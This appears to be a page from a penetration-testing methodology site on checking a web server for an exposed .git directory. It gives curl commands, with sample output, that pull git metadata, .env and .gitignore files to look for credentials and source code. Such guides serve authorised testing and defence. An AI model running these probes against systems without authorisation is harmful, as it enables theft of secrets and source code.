Skip to content
HackIndex logo

HackIndex

Check Exposed .git Directory

2 min read Apr 24, 2026

An exposed .git directory means the web server is serving the repository metadata and potentially the full source code of the application. This enables recovery of hardcoded credentials, internal API endpoints, secret keys, database connection strings, and the complete application logic. A confirmed exposure moves directly to git repository exploitation to dump and extract the full source.

Confirm Exposure

The fastest check is a direct request to .git/HEAD. The response must be the actual git ref content, not an HTML page or redirect:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/.git/HEAD 
ref: refs/heads/main

If you get HTML, a redirect, or a 403 with a branded error page, the directory is likely blocked or rewritten. A response of ref: refs/heads/main or ref: refs/heads/master is a confirmed positive.

Check additional git metadata files to confirm the scope of exposure:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/.git/config 
[core]
    repositoryformatversion = 0
    filemode = true
[remote "origin"]
    url = https://github.com/company/internal-app.git
┌──(kali㉿kali)-[~]
└─$ curl -skI http://$TARGET_IP:$PORT/.git/index 
HTTP/1.1 200 OK
Content-Length: 8432
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/.git/packed-refs

A 200 on .git/config or .git/index alongside HEAD confirms the repository is exposed and downloadable. The remote URL in config often reveals the original repository location, which can expose additional intelligence about the codebase.

Check for Directory Listing

If directory listing is enabled on .git/, the full structure is browsable and trivial to dump:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/.git/ | grep -i 'href\|Index of' 
Index of /.git
<a href="HEAD">HEAD</a>
<a href="config">config</a>
<a href="objects/">objects/</a>

Directory listing visible on .git/ means every object is individually downloadable. This is the worst-case exposure — the entire commit history including deleted files and rotated credentials is recoverable.

Quick Secrets Scan on Accessible Files

Before running a full dump, pull a few key files to confirm whether credentials are immediately accessible:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/.git/COMMIT_EDITMSG
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/.env
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/.gitignore 
*.env
config/database.yml
secrets.json

The .gitignore file reveals which sensitive files were intentionally excluded from the repository. Those filenames are worth probing directly — they often still exist on the server even if they were never committed. Move to git repository exploitation to dump the full repository and extract source code, credentials, and commit history.

References